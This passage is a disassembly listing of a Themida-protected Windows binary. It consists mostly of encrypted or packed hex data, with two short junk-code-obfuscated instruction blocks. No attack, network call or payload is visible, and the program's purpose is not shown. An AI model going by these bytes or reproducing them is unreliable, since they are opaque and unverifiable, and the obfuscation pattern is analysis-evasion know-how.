17D5EE69h, 0BB500311h, 519DF5A9h dd 9C7EC320h, 81C6D4Ch, 0D19C588Fh, 0E44523D8h, 212CB8D9h dd 0E5A4135Ch, 0C9A97F1Eh, 0AAAE606Dh, 4495E02Eh, 9B0DFA45h dd 33B45041h, 0AAEB68A8h, 500D3058h, 363E60E6h, 19A434D0h dd 0B8218F78h, 0FFE833D1h, 6B81C74h, 7DD9E4A1h, 2EB8345Dh dd 4A15ED63h, 1A2EFCEh, 0C913AB5Eh, 0EAC3CC8h, 0C8446D7Bh dd 0E9A8373Eh, 6B8DD0DBh, 4F6E070Fh, 7D84842h, 39F0547Ch dd 0D5D8ECA5h, 827C507Ah, 20EB4CBFh, 0A105D910h, 0E79A75D8h dd 364A1B60h, 0BF2CB08Ah, 0A106B271h, 0D8EC9D3Dh, 0C5632E90h dd 2E8C5A96h, 5025F10Fh, 0DF61226Fh, 0D4798FFAh, 0A106B2B7h dd 0FC7985E9h, 4873ACDDh, 0A106A104h, 69FC5915h, 6BF69560h dd 0B8FFFFFFh, 4AC4B631h, 7A0B5000h, 166D50A0h, 11F0EA3h dd 0DAB70632h, 97A9DAA7h, 0A8384B46h, 0AEE37C15h, 9FF17A1Dh dd 67A106B0h, 0ECFAF264h, 695D3489h, 604E0113h, 3CFD95h dd 3EB10000h, 5F328A37h, 50BB86C9h, 0BB2379C3h, 0A5BE01AFh dd 13A7C732h, 43748B68h, 0BC81275Fh, 93FEE028h, 7680EC75h dd 0B73FCD44h, 787353DAh, 921B1EBh, 941639B6h, 35C9h, 373EF500h dd 8D8F5CCFh, 15AFBB23h, 0D02699AAh, 0C0C452BAh, 3216850h dd 0A7AE5EB8h, 3ACEC31Ah, 60840DB2h, 0EA5D205Dh, 8D04DB4Dh dd 0BF1C20A9h, 99A4B608h, 0BB22E72Dh, 13AA32D6h, 612A8D7Eh dd 0A106B84Fh, 0DD42B417h, 1710F077h, 0B7A5EB78h, 626DA106h dd 476CF7F8h, 0D1AFBE5Bh, 97F55A6Eh, 0D6A74ED8h, 0F16368B6h dd 0ED9BA871h, 5Bh, 0F23ECD6Ah, 0BAA74ED0h, 3199A397h dd 0C630597Fh, 44C73F36h, 0BE5414B7h, 0CEEE9EAFh, 0ECA539C3h dd 0E6269331h, 0B2A74EE3h, 13638108h, 21C7CAh, 9BB00A14h dd 31DFA571h, 96E60287h, 70BB4948h, 61F349ADh, 519BA880h dd 0A780FBDFh, 618C1FF3h, 0A0AB3904h, 0BD45B6h, 22190000h dd 0B255D6BBh, 6B7E729h, 8C8CAFA1h, 0D6F66031h, 0CB593886h dd 0D9EFA23Bh, 1A652C91h, 1E30B22Dh, 3DF85764h, 83A9F0D9h dd 0AA33A106h, 419C9CE7h, 0C533B450h, 50A496F3h, 3015DBD9h dd 0DA751271h, 34D7A4A7h, 0BEAFBE00h, 0E56CD093h, 20612A1Dh dd 0A6B60113h, 0B09A9665h, 5F62AD98h, 67772922h, 0D7E7F92Ah dd 23C393BAh, 0FCB0FC55h, 1A751h, 0AEDB0000h, 355C6375h dd 0C3CEEEEAh, 31588080h, 0C5CCF2EEh, 3FD0EC7Ah, 0AF31F29Fh dd 33C57E0Bh, 0A0A0E3A6h, 0E0B543Dh, 6D2DEADh, 159A9AB9h dd 0D5BC2229h, 73229D8Ah, 0FB33CFA9h, 79347C07h, 0D1FCA106h dd 9F3EAA8Ch, 3E1531F2h, 0BB5CCF37h, 6B7E030h, 0CAA5A8A1h dd 0A5014BC5h, 2ACB2F3Bh, 4F612A8Dh, 1BA1063Bh, 0F33ECABFh dd 5380DAE5h, 0AFBDD7D8h, 24C95F62h, 0A74E6808h, 6D50C047h dd 0C3C61424h, 78539B57h, 9BA804E6h, 0B1E2h, 39C26500h dd 0A74E5BF7h, 617C7CBFh, 0AD899430h, 0C8BB22A7h, 0DA11B5h dd 52DBC689h, 61CF3805h, 0A5251178h, 0FC088955h, 6484A4Fh dd 8809D4A1h, 1D7449D7h, 2C949B07h, 463B30BBh, 28D8AFBEh dd 0DD01FB96h, 2F9242B4h, 0B90900F4h, 94FDE24Eh, 36E245A2h dd 0C310EAA7h, 0B601649Dh, 3FF15A65h, 0AF31F29Fh, 15CB820Fh dd 5EFC54E2h, 0A623CEh, 0DCFF0000h, 596672ADh, 0E3F90738h dd 556375AEh, 0D1EDEB34h, 0CDEF7FC0h, 34EFA23Ch, 0B07316A4h dd 3F008930h, 0AA751CC1h, 0F13FCC2Fh, 0B99AB905h, 0BC22CA74h dd 2F8E8AD5h, 0CF8F9754h, 94C93F7Fh, 0BB22B3CBh, 13AA32D6h dd 0AA33C57Eh, 419C9CE7h, 2507B450h, 0B1DB36FFh, 1565830Eh dd 0E021C7CAh, 2F10AA74h, 0A13C39C5h, 50C02FF0h, 8CFDDC68h dd 647965D1h, 694F972Dh, 97D50420h, 0FA97264Fh, 7F5AC649h dd 7D0907D4h, 6ED1DAD6h, 490A15B3h, 0C95946FDh, 0B727130Bh dd 0F25D6B26h, 8, 5F7F31D0h, 77AFC832h, 34D0B922h, 6C7819A4h dd 38CCBD1Ch, 697F0AB0h, 30D4BD21h, 6D7B16A8h, 3ACEBB1Dh dd 61870AB2h, 3DCBC619h, 0E38953D9h, 4C381h, 0BA520000h dd 4, 875AD329h db 1Ch, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 33C1h mov [esp], ecx push ebp push 6F4D3D11h pop ebp shr ebp, 6 push esi mov esi, 3F035FBh xor esi, 47F93D77h and ebp, esi pop esi dec ebp add ebp, 6449D19h mov edx, ebp pop ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx push eax mov eax, edx push eax pop dword ptr [ecx+8] pop eax mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5514A4 ; --------------------------------------------------------------------------- db 0FFh, 9Fh, 0ACh dd 0E280F755h, 0B87BB00Bh, 64DB2EEh, 0E0FFC503h, 2990BB0Ah dd 5FB19186h, 2FA64B40h, 0BBCC930h, 5A6E9D54h, 2FAE9F2Ah dd 698289FEh, 4BFAF182h, 242D314Eh, 32D40566h, 54875AF1h dd 7573C9A5h, 0DD57179h, 5EB3F0F4h, 43B8B623h, 39FF498Bh dd 62A3FA00h, 7795DEE7h, 7689C54Bh, 0B4C28D8Dh, 6A064Dh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 507D1EC3h, 858BF6C6h, 6482155h, 198D89F5h, 6A06480Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 23F2C356h, 79BD89E9h, 0C706482Dh, 480F3585h dd 592006h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 48B20D0Dh, 9ABB8A0h, 481B918Dh, 2585C706h dd 64824h, 66000000h, 0B5FFD78Bh, 6482281h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0B9C35646h, 851C15Fh dd 8D89D0FEh, 6482135h, 20BD95FFh, 880F0648h, 6, 18B58D31h dd 6A0648h, 306195FFh db 48h byte_598231 db 6, 8Bh, 0C0h ; DATA XREF: Themida_:0053EEA4o dd 0E83E2DEBh, 12F9581Bh, 7C94919Ah, 0D96978Eh, 0E963CB4Dh dd 0B1AE7ABDh, 7C7C8214h, 41726D56h, 81500EDDh, 0E61F90B4h dd 84E53226h, 8D6BE6BAh, 4DB5EA8Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0FBD2D293h dd 137FE00Dh, 2DCD958Bh, 8D890648h, 6480A19h, 1059503h dd 85C70648h, 6480F35h, 68D0h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 0FC35545h, 5C080F9Ch, 242585C7h dd 648h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 8B6083C3h, 4828599Dh, 61CE8B06h dd 0B5FFF78Bh, 64826E5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0CEC35242h, 91F8E51Eh, 26D2BFEAh, 219589E6h dd 0FF06480Dh, 4820BD95h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 4E2BB4D2h dd 6A812Dh, 306195FFh, 0C08B0648h, 2CB95EEBh, 4F49135Ch dd 4E307AF7h, 0E4EF8E24h, 6A4F86E3h, 33A2E91Eh, 5C3247E3h dd 22874439h, 0EF47EA2h, 2B4F4DC9h, 84504BDBh, 630C4BC7h dd 34E13D78h, 0B734361h, 0DC04A963h, 433ED375h, 86CEB526h dd 0F20774Ch, 0D843D8CCh, 5B0824C0h, 54AF8D81h, 0F57F720Bh dd 969871C5h, 990151B8h, 24EBh, 8 dup(0) dd 0BDE90000h db 3 dup(0) byte_5983E7 db 89h ; DATA XREF: Themida_:0053D864o dd 4DB64FB5h, 49858B06h, 8B064819h, 480AB985h, 99B58D06h dd 8D064DB6h, 4B4B7385h, 0C3D0FF06h, 0E855h, 815D0000h dd 4DB69FEDh, 49BD8306h, 1064819h, 2C850Fh, 0B5FF0000h dd 64DB64Fh, 0AB9858Bh, 36350648h, 0FF348127h, 0F013CD0h dd 0A85h, 1B800h, 47E90000h, 33000000h, 40E9C0h, 1C6A0000h dd 0B653B58Dh, 0FF56064Dh, 4DB64FB5h, 0B9858B06h, 3506480Ah dd 34812736h, 0C483D0FFh, 53B58D0Ch, 8B064DB6h, 0E0831446h dd 4F88304h, 7840Fh, 0C0330000h, 5E9h, 1B800h, 0BD830000h dd 6481949h, 7850F01h, 5D000000h, 2E9C3h, 0CF5D0000h, 0B678858Dh dd 8589064Dh, 6480AF5h, 98E9h, 9400h, 500h, 100h, 0A2800h dd 200h, 20h dup(0) dd 45FB4700h, 0BA7E94Fh, 79680000h, 0E9064DB9h, 0FFFAC56Fh dd 4DBA6168h, 0C565E906h, 7D68FFFAh, 0E9064DBBh, 0FFFAC55Bh dd 4DBC0268h, 0C551E906h, 3A68FFFAh, 0E9064DBDh, 0FFFAC547h dd 4DBDA668h, 0C53DE906h, 0F668FFFAh, 0E9064DC0h, 0FFFAC533h dd 4DC1E668h, 0C529E906h, 9E4EFFFAh, 9CB9EA52h, 0A1B7E850h dd 0A4BADB55h, 0A8BFE058h, 5D65F45Ch, 89B3FFD8h, 7BB501D8h dd 93BD09DAh, 8CC410C2h, 9608E408h, 9656146Bh, 6981F33Fh dd 0CD348053h, 0E12D2552h, 28400077h, 9DFF203Ch, 727E9B54h dd 0EBB8B47Eh, 41498F72h, 233765DEh, 1C911EFAh, 9EBA4DBAh dd 560EB8A8h, 0B8B4AAC6h, 9978560Eh, 0FC758E71h, 954BFAAFh dd 0F83EF4Bh, 58560F71h, 9A259B7Ah, 0E95B39CFh, 4Dh, 0D3E95B7Dh dd 408C4475h, 4C182207h, 8E9EAB80h, 75E23B49h, 0C183735Fh dd 0B905E083h, 0A97F9B6Eh, 0AE57A3BCh, 4463D775h, 0D804560Fh dd 69DC6BC7h, 63AF2FAFh, 0B5A616EDh, 0A8D7509Ch, 84DD66B2h dd 0C0C3919Dh, 0C35B3938h, 0C1h, 1D69815Bh, 0E5A7522h dd 24706215h, 7F58811Bh, 0D1F9D833h, 7CB47CF7h, 61ADA5B2h dd 0BB8FABF7h, 4FC751CBh, 6CC669h, 4FC75545h, 0A5A9BAB0h dd 4FC74DB1h, 26839C83h, 5D62249Fh, 0D091CB62h, 0FC55CE1Ah dd 2438243Ch, 0A8423438h, 0FF24FC7h, 8F546703h, 779A498Fh dd 0AEC676BDh, 0E0B0BE92h, 9D844FD4h, 75C196BFh, 79C59ABBh dd 0BFD1FC99h, 8D70BBCCh, 949h, 50085408h, 520A560Fh, 510B5711h dd 520A5610h, 520A5611h, 0D1860BD3h, 0D78ACB85h, 0DB90D18Bh dd 0DEF4A58Fh, 0EA36AA92h, 146C70E6h, 1D21C456h, 2E7A5586h dd 55020CF5h, 55062E7Ah, 5B07317Dh, 0EB2EED42h, 2F0B400Bh dd 0D1E95B15h, 1EF01FF2h, 2E421E0Dh, 4FC6F938h, 50EC15FCh dd 8EE4A77Ch, 212A0549h, 0F1D1F93h, 438F4256h, 6E845708h dd 4ED9307Ch, 0DE894C22h, 0FA705383h, 5B397FE5h, 0B19Eh dd 69813800h, 5A75221Dh, 0BE77150Eh, 2E4FC6B6h, 3F6A41D5h dd 0E95A9E5Ah, 0C798A2EEh, 0CC8DC713h, 0E381CA16h, 6783F3F7h dd 4EB14FC7h, 0B5CB6DC4h, 4F30C387h, 23FE498Fh, 0EA024239h dd 0BC13727Eh, 0E6494FD4h, 7199297Ah, 0FDCCFD97h, 57102931h dd 5710510Bh, 45DC2841h, 0BF3A52E5h, 5BBA65CCh, 861h, 58004C20h dd 5A024E07h, 59034F09h, 5A024E08h, 5A024E09h, 697E03CBh dd 6F62331Dh, 73683923h, 766C2D27h, 82AE322Ah, 146CF86Eh dd 95993C56h, 327E5586h, 590610F9h, 5E0A327Eh, 33A0545h dd 15466246h, 0D039F23Eh, 0F5411946h, 6981013Bh, 5D75221Dh dd 0F0502711h, 0B0606CD8h, 498B05h, 6A1E905Ch, 290E5614h dd 0E63FE632h, 3D89617Ah, 16364713h, 0ED8E14CDh, 69C00CC4h dd 1841A5CDh, 5E025614h, 0FD263A26h, 8EB0EEB2h, 0CCC28E67h dd 6056149Eh, 0C5E175C1h, 0B46FBB94h, 0DC62C14Dh, 0A894AC8Ch dd 0DC815BA4h, 0ADC1A94Fh, 4FCC7FB9h, 6C6D947Bh, 14113B70h dd 0A8C080DCh, 0CF4FB0BCh, 2337DD5Bh, 4BCD5747h, 0D13AD5E5h dd 0AFE4C5E6h, 0BD63AF98h, 16DA0662h, 0E54C6DA0h, 9CA16D94h dd 0EF4D63D5h, 12EC85DBh, 0C387B3DFh, 0E394ECD3h, 9278C496h dd 0C612CC6Fh, 11DD015Fh, 0E394EC9Dh, 63AFA68Fh, 8EA881E8h dd 0A1EDE5D6h, 0A8F4E6B7h, 7385F98Ah, 8E6FB85Fh, 745h dd 4C045004h, 4E06520Bh, 4D07530Dh, 4E06520Ch, 4E06520Dh dd 0CD8207CFh, 0D386D781h, 0D78CCD87h, 0DA90D18Bh, 0EE32A68Eh dd 146E6CE2h, 1925C056h, 62A91D86h, 85BE0ADFh, 21F7839Ch dd 3FE6322Dh, 0E4FC3CF3h, 3E8A5F78h, 0B46468F4h, 3E498B36h dd 0A7E0A9E5h, 41CD38CDh, 332440DFh, 24E041Ah, 0F49E049h dd 4B974Eh, 5BE23B64h, 1D4CE7E0h, 0D42DF642h, 5E74E12Dh dd 0BA790412h, 0EB34CAF0h, 6C00Ah, 216D7F00h, 236F6637h dd 24706839h, 27736B2Ch, 27736C2Dh, 23A82E2Dh, 2778E02Ch dd 2D6EE632h, 3172EA36h, 4F43ED39h, 6F4F3F0Bh, 6DD5614h dd 0D3E95BBCh, 11854975h, 204FC6B3h, 4F67C169h, 8EB74F7Fh dd 0B29790DCh, 0C7A3BF5Bh, 498BD999h, 0EBCC7897h, 0CAB1ABF7h dd 0EE025E96h, 56141784h, 0D6DE69C8h, 561417DDh, 0C47FCB84h dd 0B972BE93h, 7722E177h, 0BC5F6CAh, 0FBD384BFh, 748D74AFh dd 0E75DB89Ah, 5B3E75DCh, 45A7h, 1D863F00h, 14208B22h dd 37FA143Bh, 2C222E21h, 354FC6CBh, 0EF52CD19h, 3311F817h dd 0C6CB2B17h, 251E014Fh, 3EF82677h, 8C7D8CF6h, 8870EA82h dd 0BFF74FC7h, 0E6F18E04h, 79254F1h, 2C000000h, 1DA3Fh dd 0BF4FD300h, 49F70D2Fh, 8E95BA85h, 0D4250C49h, 0B4459CB8h dd 8BA1A3E6h, 1C2E11DDh, 120F371h, 0F3023A63h, 0FFE0FF00h dd 0F5470A33h, 445D81DFh, 9E2FA331h, 840B9CB7h, 0EEC1EE09h dd 196FFB17h, 47F937C3h, 24FD491Eh, 0FF4B1F38h, 4E0455h dd 0C79B5365h, 0D2B5907Bh, 7EA7F3EBh, 3CD287A7h, 7AA5655Ch dd 5889Bh, 49954700h, 4B974E0Fh, 4C985011h, 4F9BB3E4h dd 4F9BB4E5h, 0CB5076E5h, 0CF90C814h, 3566CE1Ah, 396AD21Eh dd 775BD521h, 70271733h, 0EE055614h, 1D6981E4h, 89617A22h dd 0FE3EF13Dh, 71767AE6h, 0DD498E94h, 8D96E2FCh, 69C85AB4h dd 19FAA2FBh, 0FDCDC2F8h, 0F387DF1h, 0B950AF56h, 0B2A8F95Dh dd 3999C866h, 135CCAF5h, 51C22h, 0BD09DB00h, 0BF0BC293h dd 0C00CC495h, 0C30FC798h, 0C30FC899h, 0BF448A99h, 0A3F45CA8h dd 0A9FA62AEh, 0ADEE66B2h, 0EBEF69B5h, 70BBABBFh, 5A795614h dd 1D698158h, 0F844163Fh, 6476291Eh, 79700F18h, 8D45F22Dh dd 0DC020641h, 71BF4EF9h, 9428E48h, 0ED368256h, 964AED14h dd 0E28014Ah, 3E14894Ch, 51E4AF2h, 9448F74Ah, 336B946Dh dd 5D183171h, 4360FE18h, 7554F207h, 1F0F210Ch, 8793A293h dd 20A6h, 0E95B4000h, 4A5975D3h, 0A4498E99h, 0B0AAC27Dh dd 0B7560EDEh, 0B1CE447Fh, 0D25B3940h, 63h, 0EE95B6Ch dd 1FC621F5h, 0F381DA81h, 4FC72B83h, 0D1C589B1h, 634FC72Bh dd 0A0BC65BCh, 8F727ACCh, 0DC3F449h, 4CB375C1h, 0C20EC7F0h dd 0DEF2CE9Ah, 560EE668h, 0F3F765CCh, 560EE683h, 0A8C44EB1h dd 560EE6B3h, 0D470BCAEh, 0C49DC6ABh, 0F33FCD3Fh, 0D7233A5Bh dd 41FE94Ch, 92C30000h, 5CA8A5BBh, 5BD369C5h, 5975D3E9h dd 498E9C46h, 8764C1E2h, 0D97CD962h, 0FB44EB3Dh, 0E3A865Ch dd 50F552F5h, 0FB172A17h, 3590E642h, 0B692AA9Ah, 0B581CD85h dd 0C60EA1ADh, 411A4FD6h, 0F13D1329h, 0E03AD336h, 2C6DE74Ah dd 0FA462036h, 45093513h, 4FC6BA51h, 4DF23CE3h, 401C3404h dd 12233B1Ch, 0C6BA483Eh, 0DC45EC4Fh, 0BA2D1A52h, 20FF498Eh dd 0B0136927h, 61DB273Bh, 36122A1Ah, 0D6C01D1Ah, 3930094Fh dd 20FF21EDh, 16627827h, 654112Ah, 8DB70EB9h, 0AB748D62h dd 0A3C9BD91h, 0C46B4FC7h, 0BC6CD15Dh, 64D46FA6h, 63DCF04Ch dd 91498FA9h, 4B1D26Eh, 0D3140217h, 556FA14h, 1E46014Dh dd 33382E42h, 3A31560Fh, 36CC35EEh, 491E3FDBh, 3B1542FDh dd 4E0334EFh, 58D31F38h, 410F18F1h, 0EF7B28EBh, 0DA4EDD9h dd 55AB7DA4h, 551097Eh, 3C54E44Bh, 0F8634C20h, 2ED14FD6h dd 9108F112h, 633C6306h, 0E5D66ED7h, 0F6A9A2EEh, 0A36F96E2h dd 0D98AA0B2h, 8CAF928Dh, 6BBE89D5h, 4D689C2h, 0C967D7F3h dd 6AC54FC6h, 0FFD788C3h, 0A2B878B3h, 0E278B863h dd 0CF82B323h, 0C080B783h, 0C7B0BCA8h, 75498EC9h, 0E901A29Ah dd 0DDF5A29Dh, 70D0A791h, 0ECD0EC58h, 0EC96EE0h, 0D763BE56h dd 0D6A8D09Bh, 687F584Fh, 0E9239357h, 0EE114FC6h, 0A25FB17h dd 0E93F3341h, 0A284FC6h, 474A55CBh, 323954F1h, 0CD000000h dd 75D3E95Bh, 8E9E8259h, 1745EC49h, 3C142A3Eh, 760E19F0h dd 0EDEE45Ah, 40E94856h, 4F4351F6h, 18560EDFh, 5A65DB3Ah dd 295B3941h, 0DDh, 1D6981BDh, 445A7522h, 1D043F8Bh, 50DB273Ah dd 681710F9h, 7F1D2672h, 0EC378356h, 865CF915h, 8CE65638h dd 569A85D1h, 46AD56E9h, 0F76C448Ah, 0FF9B956Ch, 82B1FFD6h dd 551A8007h, 4B27F31Ah, 4FC7B512h, 27115D75h, 0F186476h dd 86E2FA4Ah, 8FACD16Ah, 48F41B49h, 491C4B37h, 95A16BA1h dd 9FB4A5C1h, 0A9F5F053h, 0C86FCB9Eh, 0E8046078h, 4FD4EA05h dd 21955985h, 134FC90Ah, 210022ECh, 0F13D1243h, 0F98A2A53h dd 45164588h, 1B3465E9h, 811E3FCFh, 8ED9CCBFh, 1CCAFh dd 8DD98B00h, 8FDBF2A3h, 90DCF4A5h, 93DFF7A8h, 93DFF8A9h dd 8F14BAA9h, 0F3A48CD8h, 0F9AA92DEh, 0FD9E96E2h, 3B9F99E5h dd 736BDBEFh, 2AC95614h, 18668128h, 17207A22h, 46EE1705h dd 47F13D15h, 0D3E95BFDh, 9E825975h, 45EC498Eh, 0DEF872FAh dd 476F560Eh, 2C401C8Ch, 560EDF3Ah, 87E52FAh, 2C560EDFh dd 44121C05h, 5B39413Fh, 0C344h, 6981DA00h, 667A221Dh dd 0B300767Ah, 0CD344FC6h, 0C6B30F7Fh, 38021D4Fh, 5BE43027h dd 0A528E041h, 77B0726h, 0E12D7954h, 0C78ECC89h, 0D523374Fh dd 0A614A416h, 0D57FA6F1h, 0C982CE84h, 8CB8D070h, 0B71AB973h dd 0E3546954h, 0BCA59EEAh, 0E5D6EA72h, 0C3A6A1EDh, 9C68FB77h dd 6BC6498Fh, 0A2BA8AF1h, 9A4AAC6h, 0C9684FD5h, 59A5BA9Bh dd 93A9BEDFh, 50B972BEh, 0F8FA59B9h, 6AB5CCBFh, 0DC8Bh dd 7DC99B00h, 7FCB82D3h, 80CC84D5h, 83CF87D8h, 83CF88D9h dd 0FF844AD9h, 0E3B49CE8h, 0E9BAA2EEh, 0EDAEA6F2h, 2BAFA9F5h dd 747BEBFFh, 1AB95614h, 50668118h, 7EB64F9Bh, 91DDF9E2h dd 0F667B396h, 0E6A098E4h, 221D6981h, 33115D75h, 46014D02h dd 38FF57E3h, 6854F008h, 0C6B2F264h, 53DF424Fh, 5A94307h dd 0AE97498Bh, 52B770BCh, 0E3D470BBh, 0C1A8A3EFh, 0A4F2E875h dd 5C9A789Ch, 8BC55C4Dh, 53CC18CAh, 1B8FCD39h, 819650Dh dd 79616E63h, 0BB9D796Dh, 0A3EFE358h, 9B94EDB9h, 7B37998Dh dd 687ADB37h, 6079231Ch, 2747889h, 329F0C8Bh, 14ED36CFh dd 35815DFAh, 0ED283EEAh, 1E166278h, 2B19657Dh, 8B4B3B0Fh dd 0C0E69F0Ch, 50BCBEF2h, 6FCB66BCh, 367D6h, 631B0000h dd 1F6B8117h, 135F7324h, 28746718h, 1D69801Fh, 0E5A7522h dd 216D6215h, 115D7926h, 236F6916h, 125E7728h, 0D687419h dd 89000019h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx push ebp mov ebp, 328B6177h not ebp not ebp xor ebp, 76B633E1h push eax mov eax, 16175874h add eax, 1AA8F7A2h or ebp, eax pop eax xor ebp, 72B0EAA5h mov esi, ebp pop ebp push 17EBh mov [esp], esp add dword ptr [esp], 4 pop ecx sub esp, 4 mov [esp], ebx mov ebx, 8 add ebx, ecx mov [ebx], esi pop ebx mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_544ACB ; --------------------------------------------------------------------------- db 60h, 53h, 2Ah dd 0D78C9503h, 9E6EF63Dh, 0C2E7B8DBh, 0C503064Dh, 6AC0E0FFh dd 0F881163Eh, 98846F29h, 63263BB8h, 1BF050F3h, 1E174BB9h dd 0D5CB3AB9h, 0B70D398Bh, 0F0B04239h, 0E4AD1325h, 55754F21h dd 0E29A3896h, 0BD7A7DAAh, 0A2C5073Ch db 94h, 54h word_59913A dw 8D8Dh ; DATA XREF: Themida_:0053E2D8o dd 64DC4D8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0D6C35242h, 3927B27h, 481DDD9Dh, 198D8906h, 0E906480Ah dd 0Dh, 0CE496010h, 36C81FD2h, 71C47955h, 3585C749h, 6006480Fh dd 6A00005Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 9AA9C352h, 0AD858B60h, 5206480Fh dd 24AD9D29h, 61590648h, 242585C7h, 648h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0F681B0C3h, 47646BEFh, 15698589h, 0B5FF0648h, 64829E1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0FDC35646h dd 0CEB1289Eh, 0E64FB2CAh, 2B098D89h, 0BD8B0648h, 6482B65h dd 20BD95FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 0DE8BEDC3h, 95FF006Ah, 6483061h dd 4AEBC08Bh, 91851442h, 0F8E9E4EDh, 3F97FD85h, 3265AB2Bh dd 0B08EDF22h, 41ACABA4h, 0A14C98D7h, 2F5AACCh, 0F787BF85h dd 0FAFD6642h, 0F22DF9DDh, 249CB630h, 0A84B5B4h, 0E810B0DAh dd 11DA75EDh, 9B8E58AAh, 6716CFE4h, 0F8F7DDC0h, 13E8C513h dd 75000000h, 54F2C95Dh, 0A53FD16Ch, 4B10A967h, 0F8E15977h dd 8509B9CDh, 648245Dh, 0F1BD295Bh, 81064814h, 72BFC3h dd 698D0300h, 68064820h, 1C79h, 193D9589h, 95E0648h, 48185D85h dd 0E9038B06h, 13h, 0C135BD32h, 9D2AADCFh, 7251EB30h, 0E0D3B71Dh dd 815D3EC5h, 0E98B00C0h, 66535666h, 5F03BFBAh, 0C8C0815Ah dd 0E976AAF1h, 0Ah, 0B396D52Ah, 88D87BE5h, 0F081E4DEh dd 4276A031h, 0E1C16EB9h, 66038930h, 21B7E181h, 7E33EB81h dd 0E98143C3h, 28D0D596h, 7E2FC381h, 83F943C3h, 850F01EEh dd 1Bh, 9558529h, 2BE90648h, 0F9000000h, 9FF66CA3h, 7F04421Dh dd 0F0EAE857h, 0B385A2Bh, 48243D8Dh, 0FF6FE906h, 935FFFFFh dd 204F1C50h, 0E24A9477h, 0BF144C7Dh, 0ABE9345Ch, 50000000h dd 1C3F2E8Dh, 0DA5F72B1h, 95A7ACABh, 0F44592B3h, 0B395A1h dd 0A7ECABDAh, 0B2915D20h, 96B1F46Bh, 55207520h, 0F26BB79Bh dd 9692A5BCh, 3A7594A1h, 9FB79960h, 0B599BD32h, 0A59CB2E9h dd 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h, 0F07B6B5Ch dd 8A924Ah, 45F352D0h, 0A3F653F5h, 44D6D979h, 45E3AFF1h dd 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h, 0B293BCF9h dd 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h dd 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h, 1E80097h dd 3D94E7A6h, 0BE958332h, 0CEE9094Ah, 68000012h, 64DC8CBh dd 0FAB692E9h, 0C9EF68FFh, 88E9064Dh, 68FFFAB6h, 64DCADCh dd 0FAB67EE9h, 0CC0568FFh, 74E9064Dh, 68FFFAB6h, 64DCC98h dd 0FAB66AE9h, 0CD4168FFh, 60E9064Dh, 68FFFAB6h, 64DCDD6h dd 0FAB656E9h, 0CE9A68FFh, 4CE9064Dh, 68FFFAB6h, 64DCF2Fh dd 0FAB642E9h, 0D06968FFh, 38E9064Dh, 68FFFAB6h, 64DD14Ch dd 0FAB62EE9h, 0D29368FFh, 24E9064Dh, 68FFFAB6h, 64DD3E5h dd 0FAB61AE9h, 0D5E068FFh, 10E9064Dh, 68FFFAB6h, 64DD6F7h dd 0FAB606E9h, 0ED392BFFh, 0EF3B1243h, 0F03C1445h, 0F33F1748h dd 0F33F1849h, 6FF4DA49h, 53042C78h, 590A327Eh, 5DFE3682h dd 9BFF3985h, 7A0B7B4Fh, 0CA295614h, 4D99B5A6h, 99A36FD2h dd 3F1D6981h, 0B35F4F1Bh, 32CD4FC6h, 19455FE8h, 0C6B36155h dd 24E084Fh, 0B31A052Ch, 0B4DDB19Dh, 4E0451DDh, 61E35A02h dd 82511D4Bh, 0BC498F30h, 0C8C2CA55h, 9F560F71h, 74C098C1h dd 0E75DB89Ah, 5B39CFDCh, 36A7h, 0E95B3F00h, 825975D3h dd 0EC498E9Eh, 9BB89D43h, 2D9C629Eh, 58D22DA5h, 0F4E758FEh dd 0F2E381A8h, 0C57A94E0h, 0F07B3A7h, 477EB456h, 3969CED1h dd 0F9B55Bh, 81490000h, 75221D69h, 67150E5Ah, 0B3077753h dd 0A254FC6h, 0EF3B2F30h, 7D516D51h, 4FC6B309h, 0F668042Bh dd 364FC6B2h, 120D5911h, 33CD62Fh, 0A327E54h, 0C6B12D6Eh dd 0E488994Fh, 7AADE2BCh, 9BA4F0E3h, 82D35FC6h, 0C7D884D0h dd 84D7D3D9h, 0A6AA84D8h, 9691DDF5h, 0FD6B81C3h, 8F14DAF1h dd 4FED1449h, 1C277366h, 0E65E945h, 7C924C2Eh, 18F11864h dd 5516202Ch, 4BE64FD4h, 49E0411Dh, 102F479Bh, 